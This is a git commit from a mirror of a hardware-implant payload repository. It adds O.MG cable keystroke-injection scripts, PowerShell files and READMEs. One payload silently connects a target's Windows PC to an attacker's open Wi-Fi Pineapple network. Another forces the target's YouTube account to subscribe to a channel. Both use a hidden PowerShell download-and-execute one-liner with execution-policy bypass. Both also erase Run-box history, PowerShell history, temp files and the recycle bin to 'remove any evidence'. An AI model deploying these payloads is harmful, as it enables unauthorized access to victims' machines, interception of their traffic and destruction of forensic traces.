mirror of https://github.com/hak5/omg-payloads.git
Add files via upload
I-Am-Jakoby
GitHub
parent
2c5cdfc0fc
commit
259bc62d77
|
|
@ -0,0 +1,17 @@
|
||||||
|
REM Title: OMG-PineApple
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it
|
||||||
|
REM This version of the payload is executed using an invoke web-request to download and execute the file to add the PineApple's network profile
|
||||||
|
REM The powershell script needed is provided as OMG-PineApple.ps1
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
REM Remeber to replace the link with your link for the intended file to download if you are using a custom variant of this payload
|
||||||
|
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||||
|
ENTER
|
||||||
|
|
@ -0,0 +1,80 @@
|
||||||
|
|
||||||
|
REM Title: PineApple
|
||||||
|
REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it
|
||||||
|
REM This version is a direct key stroke injection attack
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
DELAY 1000
|
||||||
|
|
||||||
|
REM If the wifi pineapple SSID is detected target PC will connect to it
|
||||||
|
|
||||||
|
IF_PRESENT SSID="PineApple"
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
STRING $profilefile="Home.xml";
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING $SSID="PineApple";
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING $SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
|
||||||
|
SHIFT ENTER
|
||||||
|
DELAY 500
|
||||||
|
STRING $xmlfile="<?xml version=""1.0""?>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <WLANProfile xmlns=""http://www.microsoft.com/networking/WLAN/profile/v1"">
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <name>$SSID</name>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <SSIDConfig>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <SSID>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <hex>$SSIDHEX</hex>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <name>$SSID</name>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING </SSID>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING </SSIDConfig>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <connectionType>ESS</connectionType>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <connectionMode>manual</connectionMode>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <MSM>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <security>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <authEncryption>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <authentication>open</authentication>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <encryption>none</encryption>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <useOneX>false</useOneX>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING </authEncryption>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING </security>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING </MSM>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING </WLANProfile>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING "
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING $XMLFILE > ($profilefile)
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING netsh wlan add profile filename="$($profilefile)"
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING netsh wlan connect name=$SSID
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
|
@ -0,0 +1,52 @@
|
||||||
|
$profilefile="Home.xml"
|
||||||
|
$SSID="PineApple"
|
||||||
|
$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
|
||||||
|
$xmlfile="<?xml version=""1.0""?>
|
||||||
|
<WLANProfile xmlns=""http://www.microsoft.com/networking/WLAN/profile/v1"">
|
||||||
|
<name>$SSID</name>
|
||||||
|
<SSIDConfig>
|
||||||
|
<SSID>
|
||||||
|
<hex>$SSIDHEX</hex>
|
||||||
|
<name>$SSID</name>
|
||||||
|
</SSID>
|
||||||
|
</SSIDConfig>
|
||||||
|
<connectionType>ESS</connectionType>
|
||||||
|
<connectionMode>manual</connectionMode>
|
||||||
|
<MSM>
|
||||||
|
<security>
|
||||||
|
<authEncryption>
|
||||||
|
<authentication>open</authentication>
|
||||||
|
<encryption>none</encryption>
|
||||||
|
<useOneX>false</useOneX>
|
||||||
|
</authEncryption>
|
||||||
|
</security>
|
||||||
|
</MSM>
|
||||||
|
</WLANProfile>
|
||||||
|
"
|
||||||
|
$XMLFILE > ($profilefile)
|
||||||
|
netsh wlan add profile filename="$($profilefile)"
|
||||||
|
netsh wlan connect name=$SSID
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to clean up behind you and remove any evidence to prove you were there
|
||||||
|
#>
|
||||||
|
|
||||||
|
# Delete contents of Temp folder
|
||||||
|
|
||||||
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Delete run box history
|
||||||
|
|
||||||
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
|
||||||
|
# Delete powershell history
|
||||||
|
|
||||||
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
|
||||||
|
# Deletes contents of recycle bin
|
||||||
|
|
||||||
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
|
|
@ -0,0 +1,102 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# OMG-PineApple
|
||||||
|
|
||||||
|
A script used to connect a targets PC to your wifi PineApple
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This program will generate an XML file that will be used to create a network profile for your Wifi PineApple.
|
||||||
|
Depending on your method of execution the XML file will either be manually entered into a powershell window
|
||||||
|
or you may use and Invoke Web-Request to download a script to add the network profile. After either the history of
|
||||||
|
the powershell window and run box will be erased for a clean exit.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* DropBox or another File Hosting service - Your Shared link for the intended file
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Either the entire script will be manually entered into the powershell window or
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||||
|
* PS1 file to download is provided above
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<div><h2>I am Jakoby</h2></div>
|
||||||
|
<p><br/>
|
||||||
|
|
||||||
|
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
|
||||||
|
|
||||||
|
<a href="https://github.com/I-Am-Jakoby/">
|
||||||
|
<img src="https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue">
|
||||||
|
</a>
|
||||||
|
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src="https://img.shields.io/badge/Instagram-i__am__jakoby-red">
|
||||||
|
</a>
|
||||||
|
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby/">
|
||||||
|
<img src="https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue">
|
||||||
|
</a>
|
||||||
|
|
||||||
|
<a href="https://www.youtube.com/c/IamJakoby/">
|
||||||
|
<img src="https://img.shields.io/badge/YouTube-I_am_Jakoby-red">
|
||||||
|
</a>
|
||||||
|
|
||||||
|
Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/OMG/Payloads/OMG-PineApple)
|
||||||
|
</p>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
@ -0,0 +1,102 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Subscribe
|
||||||
|
|
||||||
|
A script I put together to make your target subscribe to your youtube channel
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This script is set to run with 2 different methods.
|
||||||
|
Either you use straight keystroke injection with no dependencies
|
||||||
|
Or you use an Invoke-WebRequest to download and execute a powershell script that will do the same thing
|
||||||
|
(With the powershell script you have the ability to modify it and add other actions)
|
||||||
|
Either way your target will be directed to your youtube page where they will be made to subscribe to you
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* DropBox or other file hosting service - Your Shared link for the intended file
|
||||||
|
* Windows 10,11
|
||||||
|
* Your target will have to be signed into their youtube account
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Either a straight keystroke injection will be used
|
||||||
|
* OR
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<div><h2>I am Jakoby</h2></div>
|
||||||
|
<p><br/>
|
||||||
|
|
||||||
|
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
|
||||||
|
|
||||||
|
<a href="https://github.com/I-Am-Jakoby/">
|
||||||
|
<img src="https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue">
|
||||||
|
</a>
|
||||||
|
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src="https://img.shields.io/badge/Instagram-i__am__jakoby-red">
|
||||||
|
</a>
|
||||||
|
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby/">
|
||||||
|
<img src="https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue">
|
||||||
|
</a>
|
||||||
|
|
||||||
|
<a href="https://www.youtube.com/c/IamJakoby/">
|
||||||
|
<img src="https://img.shields.io/badge/YouTube-I_am_Jakoby-red">
|
||||||
|
</a>
|
||||||
|
|
||||||
|
Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/OMG/Payloads/OMG-Subscribe)
|
||||||
|
</p>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
@ -0,0 +1,16 @@
|
||||||
|
REM Title: Subscribe
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This payload is meant to make your target subscribe to your youtube channel
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
REM Remember to replace the link with your link for the intended file to download
|
||||||
|
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
|
||||||
|
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||||
|
ENTER
|
||||||
|
|
@ -0,0 +1,38 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : Subscribe | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : General | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.DESCRIPTION
|
||||||
|
This program is designed to get your target to subscribe to your youtube channel
|
||||||
|
#>
|
||||||
|
#############################################################################################################################################
|
||||||
|
|
||||||
|
# Enter your youtube channel URL here, but you should test this script with my URL first ;D
|
||||||
|
|
||||||
|
$channel = "https://www.youtube.com/iamjakoby"
|
||||||
|
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$o=New-Object -ComObject WScript.Shell
|
||||||
|
$url = -join($channel,"?sub_confirmation=1")
|
||||||
|
Start-Process $url
|
||||||
|
Start-Sleep -Seconds 3
|
||||||
|
[System.Windows.Forms.SendKeys]::SendWait('{TAB}'*2)
|
||||||
|
[System.Windows.Forms.SendKeys]::SendWait('{ENTER}')
|
||||||
|
Start-Sleep -Seconds 1
|
||||||
|
[System.Windows.Forms.SendKeys]::SendWait('%{F4}')
|
||||||
|
|
@ -0,0 +1,32 @@
|
||||||
|
REM Title: OMG-Subscribe
|
||||||
|
REM Description: This payload is meant to get the owner of the target PC to subscribe to your youtube channel
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Exec Bypass Start-Process "
|
||||||
|
|
||||||
|
REM put your youtube link here, you should test it out with mine first though ;D
|
||||||
|
STRING https://www.youtube.com/iamjakoby
|
||||||
|
|
||||||
|
STRING ?sub_confirmation=1"
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
DELAY 3000
|
||||||
|
TAB
|
||||||
|
DELAY 1000
|
||||||
|
TAB
|
||||||
|
DELAY 1000
|
||||||
|
ENTER
|
||||||
|
DELAY 500
|
||||||
|
ALT F4
|
||||||
|
DELAY 1000
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
|
||||||
|
REM This will clear their powershell and runbox history
|
||||||
|
|
||||||
|
STRING powershell -w h -NoP -NonI -Exec Bypass reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
Loading…
Reference in New Issue